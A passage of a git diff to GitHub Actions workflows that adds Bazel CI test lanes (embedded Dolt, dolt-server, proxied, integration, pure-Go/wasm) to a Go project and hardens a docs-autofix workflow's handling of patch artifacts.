'blacksmith-2vcpu-ubuntu-2404' || 'ubuntu-latest' }} # Remote execution goes to rbe-west (instance "oss", the Blacksmith-backed - # worker pool shared with gascity), switched on by the repo variable - # RBE_WEST_WORKERS. Until it is set, only fork PRs and rbe=off dispatches - # run (locally); same-repo runs are skipped rather than failing on an - # unreachable executor. - if: ${{ vars.RBE_WEST_WORKERS == 'true' || inputs.rbe == 'off' || github.event.pull_request.head.repo.fork == true }} + # worker pool shared with gascity). Skipped only in mode skip (same-repo + # runs while RBE_WEST_WORKERS is unset). + if: ${{ needs.rbe.outputs.mode != 'skip' }} timeout-minutes: 100 + outputs: + result: ${{ steps.result.outputs.result }} steps: - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v6 @@ -131,11 +274,11 @@ jobs: id: bazel uses: ./.github/actions/setup-bazel env: - BAZEL_REMOTE_EXECUTOR: ${{ (inputs.rbe || 'on') != 'off' && vars.RBE_WEST_WORKERS == 'true' && secrets.RBE_WEST_EXECUTOR || '' }} - RBE_TLS_CERT: ${{ (inputs.rbe || 'on') != 'off' && vars.RBE_WEST_WORKERS == 'true' && secrets.RBE_TLS_CERT || '' }} - RBE_TLS_KEY: ${{ (inputs.rbe || 'on') != 'off' && vars.RBE_WEST_WORKERS == 'true' && secrets.RBE_TLS_KEY || '' }} - RBE_TLS_CA: ${{ (inputs.rbe || 'on') != 'off' && vars.RBE_WEST_WORKERS == 'true' && secrets.RBE_TLS_CA || '' }} - RBE_INSTANCE: ${{ (inputs.rbe || 'on') != 'off' && vars.RBE_WEST_WORKERS == 'true' && 'oss' || '' }} + BAZEL_REMOTE_EXECUTOR: ${{ needs.rbe.outputs.enabled == 'true' && secrets.RBE_WEST_EXECUTOR || '' }} + RBE_TLS_CERT: ${{ needs.rbe.outputs.enabled == 'true' && secrets.RBE_TLS_CERT || '' }} + RBE_TLS_KEY: ${{ needs.rbe.outputs.enabled == 'true' && secrets.RBE_TLS_KEY || '' }} + RBE_TLS_CA: ${{ needs.rbe.outputs.enabled == 'true' && secrets.RBE_TLS_CA || '' }} + RBE_INSTANCE: ${{ needs.rbe.outputs.enabled == 'true' && 'oss' || '' }} # T1: remote + restored repository cache; T2: remote, cold runner; local: # no remote execution (reported, never budgeted). @@ -150,7 +293,7 @@ jobs: else tier=local; fi echo "tier=$tier" >> "$GITHUB_OUTPUT" { - echo "### Bazel / test (advisory)" + echo "### Bazel / test" echo echo "Tier **$tier**: remote execution $REMOTE, runner cache restored $RESTORED." echo @@ -173,6 +316,25 @@ jobs: echo >> "$GITHUB_STEP_SUMMARY" exit "$rc" + # pr.yml's build-artifacts job, built by Bazel: the same artifact name + # and layout (bd-linux-gms-pure, SHA256SUMS, build-manifest.txt), so its + # consumers (PR Core, domain+uow, the package gates) can switch to it. + # None does yet. The script documents which binary and how it differs + # from `go build`'s. + - name: Package bd (ci-build-artifacts layout) + id: bd-artifact + if: ${{ always() && steps.test.outcome != 'skipped' }} + run: ./scripts/ci/package-bazel-bd.sh "$RUNNER_TEMP/bd-artifacts" + + - name: Upload build artifacts + if: ${{ always() && steps.bd-artifact.outcome == 'success' }} + uses: actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a # v7 + with: + name: ${{ inputs.build-artifact-name || 'ci-build-artifacts' }} + path: ${{ runner.temp }}/bd-artifacts/ + retention-days: 1 + if-no-files-found: error + - name: Critical-path report if: ${{ always() && steps.test.outcome != 'skipped' }} env: @@ -195,6 +357,10 @@ jobs: # manual, missing target, empty shard) unless it is allowlisted. With # go test results (nightly) it also fails on tests that passed under go # test and were skipped under Bazel; a PR run cannot see those. + # It reads test.xml from bazel-testlogs, which --config=integration + # shares with --config=ci (same output directory): if a job ever runs + # both lanes, run each lane's equivalence right after its own + # `bazel test`, before the other lane overwrites the logs. - name: Go test equivalence if: ${{ always() && steps.test.outcome != 'skipped' }} timeout-minutes: 15 @@ -209,13 +375,23 @@ jobs: # Runs last: it rewrites BUILD files in the checkout. main moves BUILD # inputs (imports, go.mod) without touching Bazel, so drift shows up here - # first. + # first. On drift the step still fails, and the BUILD.bazel / + # MODULE.bazel / MODULE.bazel.lock part of the fix is written as a patch + # for the bazel-sync-patch artifact, which bazel-autofix.yml pushes to + # same-repo PR branches (or turns into an apply recipe for forks). - name: BUILD files in sync (gazelle, go_srcs, MODULE.bazel) + id: sync if: ${{ always() && steps.bazel.outcome == 'success' }} timeout-minutes: 15 + env: + PR_NUMBER: ${{ github.event.pull_request.number }} + PR_HEAD_SHA: ${{ github.event.pull_request.head.sha }} run: | start=$(date +%s) - make bazel-sync-check + # A stale go_srcs block is drift like any other: record it, then let + # bazel-sync fix it so the patch covers it too. + check=0 + make bazel-sync-check || check=$? make bazel-sync drift="$(git status --porcelain --untracked-files=all)" echo "BUILD sync check: $(( $(date +%s) - start ))s" >> "$GITHUB_STEP_SUMMARY" @@ -224,8 +400,20 @@ jobs: echo "$drift" git diff | head -200 echo "BUILD files **out of sync**; run \`make bazel-sync\` and commit the result." >> "$GITHUB_STEP_SUMMARY" + ./scripts/ci/bazel-sync-patch.sh "$RUNNER_TEMP/bazel-sync-patch" exit 1 fi + exit "$check" + + # Data only: bazel-autofix.yml validates every path before applying it. + - name: Upload BUILD sync patch + if: ${{ always() && steps.sync.outcome == 'failure' }} + uses: actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a # v7 + with: + name: bazel-sync-patch + path: ${{ runner.temp }}/bazel-sync-patch/ + if-no-files-found: ignore + retention-days: 7 - name: Upload test logs if: ${{ failure() && steps.test.outcome == 'failure' }} @@ -248,3 +436,522 @@ jobs: with: path: ${{ runner.temp }}/bazel-ci-cache key: bazel-repo-v2-${{ runner.os }}-${{ hashFiles('.bazelversion', 'MODULE.bazel.lock') }} + + # Last step: the job's result as a workflow_call output for pr.yml's + # ci-gate. always() runs it after a failure, a timeout or a + # cancellation too. + - name: Record job result + id: result + if: ${{ always() }} + env: + JOB_STATUS: ${{ job.status }} + run: echo "result=$JOB_STATUS" >> "$GITHUB_OUTPUT" + + # pr.yml's check-cmd-bd-puregeo-tests job ("Check pure-Go and js/wasm + # boundaries (CGO_ENABLED=0)") with Bazel-built binaries: --config=pure + # builds bd and the job's three pure test binaries and runs its -short + # cmd/bd subset (PURE_CMD_BD_TESTS, kept equal to the job's -run selector by + # scripts/ci_workflow_test.go); --config=js-wasm builds the hooks test for + # js/wasm, which the Go SDK's go_js_wasm_exec runs under node with the job's + # exact pass-count guard. + bazel-pure: + name: pure-Go and js/wasm + # Same runner and skip rule as bazel-test. + needs: rbe + runs-on: ${{ needs.rbe.outputs.enabled == 'true' && 'blacksmith-2vcpu-ubuntu-2404' || 'ubuntu-latest' }} + if: ${{ needs.rbe.outputs.mode != 'skip' }} + timeout-minutes: 90 + outputs: + result: ${{ steps.result.outputs.result }} + env: + PURE_CMD_BD_TESTS: '^Test(Help|CheckRemoteSafety|FormatDestroyToken|ShouldWireInitRemote|ExtractPrefix|IsNumericID|GetWorktreeGitDir|DriftItemStatuses|RunDriftChecks|IsServerProbablyRunning|CheckHooksDriftNotGitRepo|CheckServerDriftNoBeadsDir|CheckRemoteDriftNoBeadsDir|NocgoFactoriesHonorSharedServer|NocgoNewDoltStoreFromConfig_ErrorSuggestsCorrectFlag|NocgoNewReadOnlyStoreFromConfig_ErrorSuggestsCorrectFlag)' + steps: + - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v6 + + # Only for go_js_wasm_exec and wasm_exec_node.js, which must match the + # Go version Bazel compiles with (go.mod's; policy-tested). + - name: Set up Go + uses: actions/setup-go@b7ad1dad31e06c5925ef5d2fc7ad053ef454303e # v7.0.0 + with: + go-version-file: 'go.mod' + cache: false + + - name: Set up Node.js + uses: actions/setup-node@820762786026740c76f36085b0efc47a31fe5020 # v6 + with: + node-version: '24' + + - name: Set up Bazel + id: bazel + uses: ./.github/actions/setup-bazel + env: + BAZEL_REMOTE_EXECUTOR: ${{ needs.rbe.outputs.enabled == 'true' && secrets.RBE_WEST_EXECUTOR || '' }} + RBE_TLS_CERT: ${{ needs.rbe.outputs.enabled == 'true' && secrets.RBE_TLS_CERT || '' }} + RBE_TLS_KEY: ${{ needs.rbe.outputs.enabled == 'true' && secrets.RBE_TLS_KEY || '' }} + RBE_TLS_CA: ${{ needs.rbe.outputs.enabled == 'true' && secrets.RBE_TLS_CA || '' }} + RBE_INSTANCE: ${{ needs.rbe.outputs.enabled == 'true' && 'oss' || '' }} + + - name: Run js/wasm hook boundary + run: | + set -euo pipefail + bazel build --config=js-wasm //internal/hooks:hooks_test + bin="$(bazel cquery --config=js-wasm --output=files //internal/hooks:hooks_test)" + cd internal/hooks + + # Same selector and count guard as pr.yml's job. + test_status=0 + # wasm_exec.js caps argv+env size; the Blacksmith runner's environment + # exceeds it, so run with only what the hook test needs. + wasm_exec="$(go env GOROOT)/lib/wasm/go_js_wasm_exec" + test_output="$(env -i PATH="$PATH" HOME="$HOME" TMPDIR="$RUNNER_TEMP" \ + BD_DISABLE_METRICS=1 BD_DISABLE_EVENT_FLUSH=1 \ + "$wasm_exec" "$GITHUB_WORKSPACE/$bin" \ + -test.run '^TestRunHookReportsUnsupportedExecution$' \ + -test.v 2>&1)" || test_status=$? + printf '%s\n' "$test_output" + (( test_status == 0 )) || exit "$test_status" + + run_count=0 + pass_count=0 + nonpass_count=0 + pass_pattern='^--- PASS: TestRunHookReportsUnsupportedExecution \([0-9.]+s\)$' + nonpass_pattern='^[[:space:]]*--- (FAIL|SKIP): ' + while IFS= read -r line; do + if [[ "$line" == "=== RUN TestRunHookReportsUnsupportedExecution" ]]; then + ((run_count += 1)) + fi + if [[ "$line" =~ $pass_pattern ]]; then + ((pass_count += 1)) + fi + if [[ "$line" =~ $nonpass_pattern ]]; then + ((nonpass_count += 1)) + fi + done <<< "$test_output" + if (( run_count != 1 || pass_count != 1 || nonpass_count != 0 )); then + printf 'expected one exact js/wasm hook test run and pass with no failures or skips; got runs=%s passes=%s nonpasses=%s\n' \ + "$run_count" "$pass_count" "$nonpass_count" >&2 + exit 1 + fi + + - name: Build cmd/bd and pure-Go test binaries (--config=pure) + run: >- + bazel build --config=pure + //cmd/bd:bd + //cmd/bd:bd_test + //internal/storage/embeddeddolt:embeddeddolt_test + //internal/tracker:tracker_test + + # `go build` with CGO_ENABLED=0 rejects a pure binary whose imports reach + # dolt's cgo-only store/nbs (gozstd). Bazel compiles gozstd's pure stubs + # instead, whose init panics (third_party/patches/gozstd_nocgo.patch), so + # the check happens here: every pure artifact is started once. bd_test + # starts in the next step. -test.run=^$ runs no test (TestMain still + # runs; BEADS_TEST_SKIP=dolt keeps tracker's from starting a container). + - name: Start every pure-Go artifact (gozstd contamination check) + run: | + set -euo pipefail + bazel run --config=pure //cmd/bd:bd -- version + bazel test --config=pure \ + //internal/storage/embeddeddolt:embeddeddolt_test \ + //internal/tracker:tracker_test \ + --test_sharding_strategy=disabled \ + '--test_arg=-test.run=^$' \ + --test_env=BEADS_TEST_SKIP=dolt + + # One unsharded process, like `go test -run`; the test.xml check keeps a + # selector that matches nothing from passing. + - name: Run pure-Go cmd/bd test subset (--config=pure) + run: | + set -euo pipefail + bazel test --config=pure //cmd/bd:bd_test \ + --test_sharding_strategy=disabled \ + "--test_arg=-test.run=$PURE_CMD_BD_TESTS" + n="$(grep -c ' 0 )) + + # Last step: the job's result as a workflow_call output for pr.yml's + # ci-gate. always() runs it after a failure, a timeout or a + # cancellation too. + - name: Record job result + id: result + if: ${{ always() }} + env: + JOB_STATUS: ${{ job.status }} + run: echo "result=$JOB_STATUS" >> "$GITHUB_OUTPUT" + + # pr-risk.yml's embedded-Dolt tier ("Test (Embedded Dolt Cmd N/20)", + # "Test (Embedded Dolt Storage N/5)", "Test (Embedded Dolt Conformance - + # core/audit)") as --config=embedded: the embedded-tagged variants of + # //cmd/bd:bd_test and //internal/storage/embeddeddolt:embeddeddolt_test. + # The shard variants run the jobs' own shard scripts and manifests, so Bazel + # shard k runs exactly the tests of job k. A job of its own rather than a + # second invocation in bazel-test: the tier's long race shards stay off + # bazel-test's critical path and budget, and it compiles nothing bazel-test + # does not (same race configuration, shared through the remote cache). + bazel-embedded: + name: embedded Dolt tier + # Remote execution only: skipped unless the rbe job chose remote (no + # fork, rbe=off or secret-less run). Locally the tier is 27 race test + # processes (~7-10k test-seconds) on one runner, an hour or more per run + # on the pool whose job cap this track exists to relieve, and it proves + # nothing pr-risk.yml's embedded jobs (which do run for forks) do not. + # The runs-on expression is the shared one and always picks the + # Blacksmith runner under this if. + needs: rbe + runs-on: ${{ needs.rbe.outputs.enabled == 'true' && 'blacksmith-2vcpu-ubuntu-2404' || 'ubuntu-latest' }} + if: ${{ needs.rbe.outputs.enabled == 'true' }} + timeout-minutes: 60 + outputs: + result: ${{ steps.result.outputs.result }} + steps: + - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v6 + + - name: Set up Bazel + id: bazel + uses: ./.github/actions/setup-bazel + env: + BAZEL_REMOTE_EXECUTOR: ${{ needs.rbe.outputs.enabled == 'true' && secrets.RBE_WEST_EXECUTOR || '' }} + RBE_TLS_CERT: ${{ needs.rbe.outputs.enabled == 'true' && secrets.RBE_TLS_CERT || '' }} + RBE_TLS_KEY: ${{ needs.rbe.outputs.enabled == 'true' && secrets.RBE_TLS_KEY || '' }} + RBE_TLS_CA: ${{ needs.rbe.outputs.enabled == 'true' && secrets.RBE_TLS_CA || '' }} + RBE_INSTANCE: ${{ needs.rbe.outputs.enabled == 'true' && 'oss' || '' }} + + # --build_event_json_file is a command option, so it goes after `test`. + - name: bazel test //... --config=embedded + id: test + timeout-minutes: 50 + run: | + set -o pipefail + start=$(date +%s) + rc=0 + bazel test //... --config=embedded \ + --build_event_json_file="$RUNNER_TEMP/bazel-bep.json" \ + 2>&1 | tee "$RUNNER_TEMP/bazel-test.log" || rc=$? + echo "bazel test --config=embedded: exit $rc, $(( $(date +%s) - start ))s wall" | tee -a "$GITHUB_STEP_SUMMARY" + exit "$rc" + + # A shard the manifest assigns nothing, or a selector that matches + # nothing, exits 0: fail if any target's or shard's test.xml lists no + # tests (or is missing). + - name: Every target and shard ran tests + if: ${{ always() && steps.test.outcome != 'skipped' }} + run: python3 tools/bazel/check_testcases.py --bep "$RUNNER_TEMP/bazel-bep.json" + + - name: Upload test logs + if: ${{ failure() && steps.test.outcome != 'skipped' }} + uses: actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a # v7 + with: + name: bazel-embedded-testlogs + path: | + bazel-testlogs/**/test.log + bazel-testlogs/**/test.xml + if-no-files-found: ignore + retention-days: 7 + + # Last step: the job's result as a workflow_call output for pr.yml's + # ci-gate. always() runs it after a failure, a timeout or a + # cancellation too. + - name: Record job result + id: result + if: ${{ always() }} + env: + JOB_STATUS: ${{ job.status }} + run: echo "result=$JOB_STATUS" >> "$GITHUB_OUTPUT" + + # main.yml's "Main Linux integration packages (N/6)" and "Main Linux + # integration cmd/bd (N/8)" jobs (nightly.yml's Full Test Suite runs the + # same go test in one job) as --config=integration: every package with + # -tags=integration,gms_pure_go, race, no -short, BEADS_TEST_SKIP=dolt (see + # .bazelrc). A job of its own: ci and integration share bazel-testlogs, so + # bazel-test's equivalence step would read this lane's test.xml if both ran + # in one job, and the tagged race build is a second full compile. + # No equivalence step: equivalence.py's default mode is the --config=ci + # selection (go list without the integration tag, -short, ^TestEmbedded + # skipped), and its job mode needs the integration jobs' go test -json, + # which no run here has. check_testcases.py still catches a target or + # shard that ran no tests. + bazel-integration: + name: integration (advisory) + # Remote execution only, like bazel-embedded: locally the tagged race + # build of //... plus 14 jobs' worth of tests on one runner is well over + # the timeout, for tests main.yml's integration jobs already run. Off in + # pr.yml's call (integration: "off"), as those jobs are off on PRs. + needs: rbe + runs-on: ${{ needs.rbe.outputs.enabled == 'true' && 'blacksmith-2vcpu-ubuntu-2404' || 'ubuntu-latest' }} + if: ${{ needs.rbe.outputs.enabled == 'true' && inputs.integration != 'off' }} + timeout-minutes: 40 + outputs: + result: ${{ steps.result.outputs.result }} + steps: + - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v6 + + - name: Set up Bazel + id: bazel + uses: ./.github/actions/setup-bazel + env: + BAZEL_REMOTE_EXECUTOR: ${{ needs.rbe.outputs.enabled == 'true' && secrets.RBE_WEST_EXECUTOR || '' }} + RBE_TLS_CERT: ${{ needs.rbe.outputs.enabled == 'true' && secrets.RBE_TLS_CERT || '' }} + RBE_TLS_KEY: ${{ needs.rbe.outputs.enabled == 'true' && secrets.RBE_TLS_KEY || '' }} + RBE_TLS_CA: ${{ needs.rbe.outputs.enabled == 'true' && secrets.RBE_TLS_CA || '' }} + RBE_INSTANCE: ${{ needs.rbe.outputs.enabled == 'true' && 'oss' || '' }} + + # Remote: a cold compile plus the longest test action (1200s cap, see + # .bazelrc) fits well inside 30 minutes. + - name: bazel test //... --config=integration + id: test + timeout-minutes: 30 + run: | + set -o pipefail + start=$(date +%s) + rc=0 + bazel test //... --config=integration \ + --build_event_json_file="$RUNNER_TEMP/bazel-bep.json" \ + 2>&1 | tee "$RUNNER_TEMP/bazel-test.log" || rc=$? + echo "bazel test --config=integration: exit $rc, $(( $(date +%s) - start ))s wall" | tee -a "$GITHUB_STEP_SUMMARY" + exit "$rc" + + # As in bazel-embedded. dolt_version_test is a plain sh_test (no Go + # testcases in its test.xml), which --config=integration's tag filter + # keeps, unlike the embedded one. + - name: Every target and shard ran tests + if: ${{ always() && steps.test.outcome != 'skipped' }} + run: python3 tools/bazel/check_testcases.py --bep "$RUNNER_TEMP/bazel-bep.json" --not-go //tools/bazel:dolt_version_test + + - name: Upload test logs + if: ${{ failure() && steps.test.outcome != 'skipped' }} + uses: actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a # v7 + with: + name: bazel-integration-testlogs + path: | + bazel-testlogs/**/test.log + bazel-testlogs/**/test.xml + if-no-files-found: ignore + retention-days: 7 + + # Last step: the job's result as a workflow_call output (for + # symmetry; pr.yml's call turns this lane off). + - name: Record job result + id: result + if: ${{ always() }} + env: + JOB_STATUS: ${{ job.status }} + run: echo "result=$JOB_STATUS" >> "$GITHUB_OUTPUT" + + # pr.yml's container-backed jobs, "Test (storage domain + uow)" and + # "Contract corpus", as Bazel's dolt-server lane: --config=doltserver runs + # the dolt-server variants (domain/..., uow in 8 shards, tracker/..., + # doctor/fix, protocol in 8 shards), each of which starts its own dolt + # sql-server from the pinned dolt, so they execute on the remote workers + # like any other test (locally for forks and rbe=off). The docker lane + # (--config=docker: the same suites against testcontainers on this runner, + # no-remote-exec) stays the A/B control: dispatch with dolt-lane=docker. + bazel-doltserver: + name: dolt-server lane + # Same runner and skip rule as bazel-test. + needs: rbe + runs-on: ${{ needs.rbe.outputs.enabled == 'true' && 'blacksmith-2vcpu-ubuntu-2404' || 'ubuntu-latest' }} + if: ${{ needs.rbe.outputs.mode != 'skip' }} + timeout-minutes: 90 + outputs: + result: ${{ steps.result.outputs.result }} + env: + BAZEL_DOLT_LANE: ${{ inputs.dolt-lane || 'doltserver' }} + steps: + - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v6 + + - name: Set up Bazel + id: bazel + uses: ./.github/actions/setup-bazel + env: + BAZEL_REMOTE_EXECUTOR: ${{ needs.rbe.outputs.enabled == 'true' && secrets.RBE_WEST_EXECUTOR || '' }} + RBE_TLS_CERT: ${{ needs.rbe.outputs.enabled == 'true' && secrets.RBE_TLS_CERT || '' }} + RBE_TLS_KEY: ${{ needs.rbe.outputs.enabled == 'true' && secrets.RBE_TLS_KEY || '' }} + RBE_TLS_CA: ${{ needs.rbe.outputs.enabled == 'true' && secrets.RBE_TLS_CA || '' }} + RBE_INSTANCE: ${{ needs.rbe.outputs.enabled == 'true' && 'oss' || '' }} + + # Docker lane only (the A/B control), as in the mirrored jobs; its + # tests fail rather than skip without the image. + - name: Pull Dolt sql-server image + if: ${{ env.BAZEL_DOLT_LANE == 'docker' }} + run: ./scripts/ci/pull-dolt-image.sh + + - name: bazel test //... --config=doltserver + id: test + timeout-minutes: 80 + run: | + set -o pipefail + start=$(date +%s) + rc=0 + bazel test //... "--config=$BAZEL_DOLT_LANE" 2>&1 | tee "$RUNNER_TEMP/bazel-test.log" || rc=$? + echo "bazel test --config=$BAZEL_DOLT_LANE: exit $rc, $(( $(date +%s) - start ))s wall" | tee -a "$GITHUB_STEP_SUMMARY" + exit "$rc" + + - name: Upload test logs + if: ${{ failure() && steps.test.outcome == 'failure' }} + uses: actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a # v7 + with: + name: bazel-${{ env.BAZEL_DOLT_LANE }}-testlogs + path: | + bazel-testlogs/**/test.log + bazel-testlogs/**/test.xml + if-no-files-found: ignore + retention-days: 7 + + # Last step: the job's result as a workflow_call output for pr.yml's + # ci-gate. always() runs it after a failure, a timeout or a + # cancellation too. + - name: Record job result + id: result + if: ${{ always() }} + env: + JOB_STATUS: ${{ job.status }} + run: echo "result=$JOB_STATUS" >> "$GITHUB_OUTPUT" + + # pr-risk.yml's proxied-server tier, "Test (Proxied Dolt Cmd N/15)", as + # --config=doltserver-proxied: //cmd/bd:bd_proxied_test runs the job's + # shard script in 15 Bazel shards, so shard k runs exactly job k's tests. + # Same build as --config=doltserver (race bd_test, non-race bd_for_tests), + # shared with bazel-doltserver through the remote cache. PR Risk builds + # its bd-cmd-test with -race, as here; main.yml's test-proxied-cmd twin + # uses build-artifacts' non-race bd-cmd-test, so this lane is the stricter + # of the two. A job of its own, not gated by any integration switch: it + # runs in pr.yml's call and its gate requires it (BAZEL_PROXIED). + bazel-proxied: + name: proxied-server tier + # Remote execution only, like bazel-embedded: 15 shards of ~5-10 + # minutes, each with a dolt sql-server busy on ~4 cores, do not fit a + # GitHub-hosted runner. + needs: rbe + runs-on: ${{ needs.rbe.outputs.enabled == 'true' && 'blacksmith-2vcpu-ubuntu-2404' || 'ubuntu-latest' }} + if: ${{ needs.rbe.outputs.enabled == 'true' }} + timeout-minutes: 30 + outputs: + result: ${{ steps.result.outputs.result }} + steps: + - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v6 + + - name: Set up Bazel + id: bazel + uses: ./.github/actions/setup-bazel + env: + BAZEL_REMOTE_EXECUTOR: ${{ needs.rbe.outputs.enabled == 'true' && secrets.RBE_WEST_EXECUTOR || '' }} + RBE_TLS_CERT: ${{ needs.rbe.outputs.enabled == 'true' && secrets.RBE_TLS_CERT || '' }} + RBE_TLS_KEY: ${{ needs.rbe.outputs.enabled == 'true' && secrets.RBE_TLS_KEY || '' }} + RBE_TLS_CA: ${{ needs.rbe.outputs.enabled == 'true' && secrets.RBE_TLS_CA || '' }} + RBE_INSTANCE: ${{ needs.rbe.outputs.enabled == 'true' && 'oss' || '' }} + + # Remote: the longest shard takes ~5-8 minutes (each shard's Go + # timeout is its job's 15m, 1200s Bazel cap), plus a compile. + - name: bazel test //... --config=doltserver-proxied + id: test + timeout-minutes: 25 + run: | + set -o pipefail + start=$(date +%s) + rc=0 + bazel test //... --config=doltserver-proxied \ + --build_event_json_file="$RUNNER_TEMP/bazel-bep.json" \ + 2>&1 | tee "$RUNNER_TEMP/bazel-test.log" || rc=$? + echo "bazel test --config=doltserver-proxied: exit $rc, $(( $(date +%s) - start ))s wall" | tee -a "$GITHUB_STEP_SUMMARY" + exit "$rc" + + # As in bazel-embedded. + - name: Every target and shard ran tests + if: ${{ always() && steps.test.outcome != 'skipped' }} + run: python3 tools/bazel/check_testcases.py --bep "$RUNNER_TEMP/bazel-bep.json" + + - name: Upload test logs + if: ${{ failure() && steps.test.outcome != 'skipped' }} + uses: actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a # v7 + with: + name: bazel-proxied-testlogs + path: | + bazel-testlogs/**/test.log + bazel-testlogs/**/test.xml + if-no-files-found: ignore + retention-days: 7 + + # Last step: the job's result as a workflow_call output for pr.yml's + # ci-gate. always() runs it after a failure, a timeout or a + # cancellation too. + - name: Record job result + id: result + if: ${{ always() }} + env: + JOB_STATUS: ${{ job.status }} + run: echo "result=$JOB_STATUS" >> "$GITHUB_OUTPUT" + + # pr-risk.yml's server-Dolt storage tier, "Test (Server Dolt Conformance)" + # and "Test (Server Dolt Full Suite N/16)", as --config=doltserver-integration: + # the conformance and 16-shard full-suite variants of + # //internal/storage/dolt over a non-race dolt_test build, each shard + # running the job's own shard script. --config=doltserver-integration has + # exactly --config=integration's build flags, so it compiles nothing + # bazel-integration does not (shared through the remote cache). A job of + # its own, not gated by any integration switch: this is a PR-time tier, + # unlike main.yml's integration jobs, and pr.yml's gate requires it + # (BAZEL_SERVER_STORAGE). + bazel-server-storage: + name: server-Dolt storage tier + # Remote execution only, like bazel-integration: locally the tagged race + # build of //... alone is most of the timeout. + needs: rbe + runs-on: ${{ needs.rbe.outputs.enabled == 'true' && 'blacksmith-2vcpu-ubuntu-2404' || 'ubuntu-latest' }} + if: ${{ needs.rbe.outputs.enabled == 'true' }} + timeout-minutes: 30 + outputs: + result: ${{ steps.result.outputs.result }} + steps: + - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v6 + + - name: Set up Bazel + id: bazel + uses: ./.github/actions/setup-bazel + env: + BAZEL_REMOTE_EXECUTOR: ${{ needs.rbe.outputs.enabled == 'true' && secrets.RBE_WEST_EXECUTOR || '' }} + RBE_TLS_CERT: ${{ needs.rbe.outputs.enabled == 'true' && secrets.RBE_TLS_CERT || '' }} + RBE_TLS_KEY: ${{ needs.rbe.outputs.enabled == 'true' && secrets.RBE_TLS_KEY || '' }} + RBE_TLS_CA: ${{ needs.rbe.outputs.enabled == 'true' && secrets.RBE_TLS_CA || '' }} + RBE_INSTANCE: ${{ needs.rbe.outputs.enabled == 'true' && 'oss' || '' }} + + # Remote: the longest shard takes ~2-3 minutes (the storage suite's Go + # timeout is 15m per shard, 1200s Bazel cap), plus a compile. + - name: bazel test //... --config=doltserver-integration + id: test + timeout-minutes: 25 + run: | + set -o pipefail + start=$(date +%s) + rc=0 + bazel test //... --config=doltserver-integration \ + --build_event_json_file="$RUNNER_TEMP/bazel-bep.json" \ + 2>&1 | tee "$RUNNER_TEMP/bazel-test.log" || rc=$? + echo "bazel test --config=doltserver-integration: exit $rc, $(( $(date +%s) - start ))s wall" | tee -a "$GITHUB_STEP_SUMMARY" + exit "$rc" + + # As in bazel-embedded. + - name: Every target and shard ran tests + if: ${{ always() && steps.test.outcome != 'skipped' }} + run: python3 tools/bazel/check_testcases.py --bep "$RUNNER_TEMP/bazel-bep.json" + + - name: Upload test logs + if: ${{ failure() && steps.test.outcome != 'skipped' }} + uses: actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a # v7 + with: + name: bazel-server-storage-testlogs + path: | + bazel-testlogs/**/test.log + bazel-testlogs/**/test.xml + if-no-files-found: ignore + retention-days: 7 + + # Last step: the job's result as a workflow_call output for pr.yml's + # ci-gate. always() runs it after a failure, a timeout or a + # cancellation too. + - name: Record job result + id: result + if: ${{ always() }} + env: + JOB_STATUS: ${{ job.status }} + run: echo "result=$JOB_STATUS" >> "$GITHUB_OUTPUT" diff --git a/.github/workflows/docs-autofix.yml b/.github/workflows/docs-autofix.yml index c40ec3bb5..36d992c97 100644 --- a/.github/workflows/docs-autofix.yml +++ b/.github/workflows/docs-autofix.yml @@ -11,9 +11,15 @@ # never checks out or executes PR code. It checks out the base default branch # for scripts, and treats the artifact strictly as data: every path in the # patch must match an anchored generated-docs allowlist (single path segment, -# no traversal, no symlink modes) and `git apply --index` supplies the -# underlying escape guards (scripts/docs-autofix-push.sh), so a hostile patch -# can at most rewrite generated doc files on its own PR branch. +# no traversal), mode/symlink/rename/copy/binary hunks are refused, and the +# patch is applied to an index in a bare clone and re-checked once staged +# (scripts/docs-autofix-push.sh), so a hostile patch can at most rewrite +# generated doc files on its own PR branch. Pushes are leased to the run's +# head SHA and skipped for heads that are protected or under a ruleset. +# +# CONCURRENCY: job-level, shared with bazel-autofix.yml per head branch and +# without cancel-in-progress, so the two bots queue instead of racing on one +# branch (see bazel-autofix.yml). # # TOKEN NOTE: pushes made with the default GITHUB_TOKEN do not retrigger PR # checks. Configure a DOCS_AUTOFIX_TOKEN repo secret (fine-grained PAT or @@ -34,10 +40,6 @@ permissions: pull-requests: write actions: read -concurrency: - group: docs-autofix-${{ github.event.workflow_run.head_repository.full_name }}-${{ github.event.workflow_run.head_branch }} - cancel-in-progress: true - jobs: autofix: name: Apply CLI docs regeneration to PR @@ -45,9 +47,18 @@ jobs: github.event.workflow_run.event == 'pull_request' && github.event.workflow_run.conclusion == 'failure' runs-on: ubuntu-latest + # Bounded: a hung run would hold the shared group for the default 6h. + timeout-minutes: 10 + # Shared with bazel-autofix.yml; queue, never cancel. + concurrency: + group: autofix-${{ github.event.workflow_run.head_repository.full_name }}-${{ github.event.workflow_run.head_branch }} + cancel-in-progress: false steps: - # Trusted side only: base repo default branch, never the PR head. + # Trusted side only: base repo default branch, never the PR head. The + # workflow token is not left in .git/config. - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v6 + with: + persist-credentials: false - name: Download docs freshness patch (if any) id: patch @@ -63,9 +74,22 @@ jobs: echo "found=false" >> "$GITHUB_OUTPUT" exit 0 fi - gh api "repos/${GITHUB_REPOSITORY}/actions/artifacts/${artifact_id}/zip" > patch.zip - unzip -o patch.zip -d "${RUNNER_TEMP}/docs-patch" - ls -la "${RUNNER_TEMP}/docs-patch" + dir="${RUNNER_TEMP}/docs-patch" + mkdir -p "$dir" + gh api 